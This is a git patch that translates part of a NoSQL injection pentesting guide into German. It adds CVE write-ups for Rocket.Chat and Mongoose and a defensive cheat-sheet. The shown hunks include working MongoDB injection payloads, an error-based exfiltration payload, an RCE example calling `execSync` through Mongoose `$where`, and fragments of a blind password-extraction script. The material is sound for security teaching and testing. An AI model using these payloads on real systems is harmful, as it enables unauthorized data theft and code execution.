From 4f2baacd25dff388b97692c95b0b54575532c448 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 14 Aug 2025 00:37:36 +0000 Subject: [PATCH] Translated ['src/pentesting-web/nosql-injection.md'] to de --- src/pentesting-web/nosql-injection.md | 46 ++++++++++++++++++++++++--- 1 file changed, 42 insertions(+), 4 deletions(-) diff --git a/src/pentesting-web/nosql-injection.md b/src/pentesting-web/nosql-injection.md index 010715d0c..bdca90515 100644 --- a/src/pentesting-web/nosql-injection.md +++ b/src/pentesting-web/nosql-injection.md @@ -4,7 +4,7 @@ ## Ausnutzen -In PHP können Sie ein Array senden, indem Sie den gesendeten Parameter von _parameter=foo_ zu _parameter\[arrName]=foo_ ändern. +In PHP können Sie ein Array senden, indem Sie den gesendeten Parameter von _parameter=foo_ zu _parameter[arrName]=foo_ ändern. Die Exploits basieren auf dem Hinzufügen eines **Operators**: ```bash @@ -35,7 +35,7 @@ username[$exists]=true&password[$exists]=true ```javascript query = { $where: `this.username == '${username}'` } ``` -Ein Angreifer kann dies ausnutzen, indem er Zeichenfolgen wie `admin' || 'a'=='a` eingibt, wodurch die Abfrage alle Dokumente zurückgibt, indem die Bedingung mit einer Tautologie erfüllt wird (`'a'=='a'`). Dies ist analog zu SQL-Injection-Angriffen, bei denen Eingaben wie `' or 1=1-- -` verwendet werden, um SQL-Abfragen zu manipulieren. In MongoDB können ähnliche Injektionen mit Eingaben wie `' || 1==1//`, `' || 1==1%00` oder `admin' || 'a'=='a` durchgeführt werden. +Ein Angreifer kann dies ausnutzen, indem er Zeichenfolgen wie `admin' || 'a'=='a` eingibt, wodurch die Abfrage alle Dokumente zurückgibt, indem die Bedingung mit einer Tautologie (`'a'=='a'`) erfüllt wird. Dies ist analog zu SQL-Injection-Angriffen, bei denen Eingaben wie `' or 1=1-- -` verwendet werden, um SQL-Abfragen zu manipulieren. In MongoDB können ähnliche Injektionen mit Eingaben wie `' || 1==1//`, `' || 1==1%00` oder `admin' || 'a'=='a` durchgeführt werden. ``` Normal sql: ' or 1=1-- - Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a @@ -110,10 +110,44 @@ Es ist möglich, [**$lookup**](https://www.mongodb.com/docs/manual/reference/ope ``` ### Error-Based Injection -Injiziere `throw new Error(JSON.stringify(this))` in eine `$where`-Klausel, um vollständige Dokumente über serverseitige JavaScript-Fehler zu exfiltrieren (erfordert, dass die Anwendung Datenbankfehler preisgibt). Beispiel: +Injiziere `throw new Error(JSON.stringify(this))` in eine `$where`-Klausel, um vollständige Dokumente über serverseitige JavaScript-Fehler zu exfiltrieren (erfordert, dass die Anwendung Datenbankfehler leakt). Beispiel: ```json { "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" } ``` +## Aktuelle CVEs & reale Exploits (2023-2025) + +### Rocket.Chat unautorisierte blinde NoSQLi – CVE-2023-28359 +Versionen ≤ 6.0.0 exponierten die Meteor-Methode `listEmojiCustom`, die ein benutzerkontrolliertes **selector**-Objekt direkt an `find()` weiterleitete. Durch das Injizieren von Operatoren wie `{"$where":"sleep(2000)||true"}` konnte ein unautorisierter Angreifer ein Timing-Orakel erstellen und Dokumente exfiltrieren. Der Fehler wurde in 6.0.1 behoben, indem die Form des Selectors validiert und gefährliche Operatoren entfernt wurden. + +### Mongoose `populate().match` `$where` RCE – CVE-2024-53900 & CVE-2025-23061 +Wenn `populate()` mit der `match`-Option verwendet wird, kopierte Mongoose (≤ 8.8.2) das Objekt wörtlich *bevor* es an MongoDB gesendet wurde. Das Bereitstellen von `$where` führte daher zur Ausführung von JavaScript **innerhalb von Node.js**, selbst wenn serverseitiges JS auf MongoDB deaktiviert war: +```js +// GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id') +Post.find() +.populate({ path: 'author', match: req.query.author }); // RCE +``` +Der erste Patch (8.8.3) blockierte das Top-Level `$where`, aber das Nesten unter `$or` umging den Filter, was zu CVE-2025-23061 führte. Das Problem wurde in 8.9.5 vollständig behoben, und eine neue Verbindungsoption `sanitizeFilter: true` wurde eingeführt. + +### GraphQL → Mongo Filter Verwirrung +Resolver, die `args.filter` direkt in `collection.find()` weiterleiten, bleiben anfällig: +```graphql +query users($f:UserFilter){ +users(filter:$f){ _id email } +} + +# variables +{ "f": { "$ne": {} } } +``` +Mitigationen: rekursiv Schlüssel entfernen, die mit `$` beginnen, erlaubte Operatoren explizit zuordnen oder mit Schema-Bibliotheken (Joi, Zod) validieren. + +## Defensive Cheat-Sheet (aktualisiert 2025) + +1. Entfernen oder ablehnen Sie jeden Schlüssel, der mit `$` beginnt (`express-mongo-sanitize`, `mongo-sanitize`, Mongoose `sanitizeFilter:true`). +2. Deaktivieren Sie serverseitiges JavaScript auf selbstgehostetem MongoDB (`--noscripting`, Standard in v7.0+). +3. Bevorzugen Sie `$expr` und Aggregations-Builder anstelle von `$where`. +4. Validieren Sie Datentypen frühzeitig (Joi/Ajv) und verbieten Sie Arrays, wo Skalare erwartet werden, um `[$ne]` Tricks zu vermeiden. +5. Für GraphQL, übersetzen Sie Filterargumente durch eine Erlauben-Liste; niemals untrusted Objekte verbreiten. + ## MongoDB Payloads Liste [von hier](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt) @@ -193,6 +227,7 @@ url = "http://example.com" headers = {"Host": "exmaple.com"} cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"} possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ] + def get_password(username): print("Extracting password of "+username) params = {"username":username, "password[$regex]":"", "login": "login"} @@ -225,9 +260,10 @@ for u in get_usernames(""): get_password(u) ``` ## Tools - - [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration) - [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite) +- [https://github.com/ImKKingshuk/StealthNoSQL](https://github.com/ImKKingshuk/StealthNoSQL) +- [https://github.com/Charlie-belmer/nosqli](https://github.com/Charlie-belmer/nosqli) ## References @@ -236,5 +272,7 @@ get_password(u) - [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/) - [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb) - [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/) +- [https://nvd.nist.gov/vuln/detail/CVE-2023-28359](https://nvd.nist.gov/vuln/detail/CVE-2023-28359) +- [https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900](https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900) {{#include ../banners/hacktricks-training.md}}